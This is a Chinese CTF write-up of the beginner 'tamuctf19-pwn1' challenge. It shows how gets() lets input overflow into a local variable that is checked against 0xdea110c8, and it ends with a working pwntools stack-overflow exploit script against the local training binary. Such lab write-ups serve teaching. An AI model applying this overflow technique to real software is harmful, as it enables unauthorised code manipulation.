tamuctf19-pwn1 题解
这些题目皆来自于 nightmare 项目,感谢 nightmare 项目高质量的题解和选题,nigthmare 在线电子书地址:
https://guyinatuxedo.github.io/index.html
其中题目中所需要的二进制程序环境在这个电子书的官方仓库里有。
入门 pwn 的第一个题目,比较无脑,重点是熟悉 pwn 的基本环境吧。
二进制文件信息收集
首先先用 file 命令查看文件类型
可以看到是一个 32 位 ELF 文件
接下来查看 ELF 文件的安全防护
可以看到这个文件没有开启栈溢出防护,那么我们接下来可以无脑栈溢出了。
逆向文件
拖入 ghidra (一个由美国国安局开发的逆向工具,需要调教一下快捷键才能和 IDA 一样顺手,而且就是这个东西的伪代码反汇编功能还是比较弱,但是这个东西是开源免费的,在 Mac OS 上工作的顺畅多了)接下来可以看到程序首先先让你输入两个字符串,分别等于 Sir Lancelot of Camelot
To seek the Holy Grail.
接下来发现有一个 gets
函数,这个函数是可以输入任意字符造成栈溢出的。同时我们可以看到这个函数之后还有这个语句
gets(user_input);
if (local_18 == 0xdea110c8) {
print_flag();
}
所以我们如果 user_input 溢出后能覆盖掉 local_18 这个变量的值,并且能让他等于 0xdea110c8
就可以让他执行 print_flag 这个函数了。
攻击脚本
from pwn import *
import pwnlib.util.packing
def main():
target = process("./pwn1") # 设置目标程序
payload:str = b""
payload += b"a" * 43
payload += p32(0xdea110c8) # 在 payload 结尾加上需要的数据,Linux 上存储数字使用的是小端序,用 p32 将数字转换成小端序 byte 数组
target.sendline(b"Sir Lancelot of Camelot")
target.sendline(b"To seek the Holy Grail.")
target.sendline(payload)
target.interactive() # 进入交互模式,其实就是接管目标的标准输入和标准输出,这样我们就不用一个一个来读取程序的输出结果,而是直接将输入输出直接返回来
if __name__ == '__main__':
main()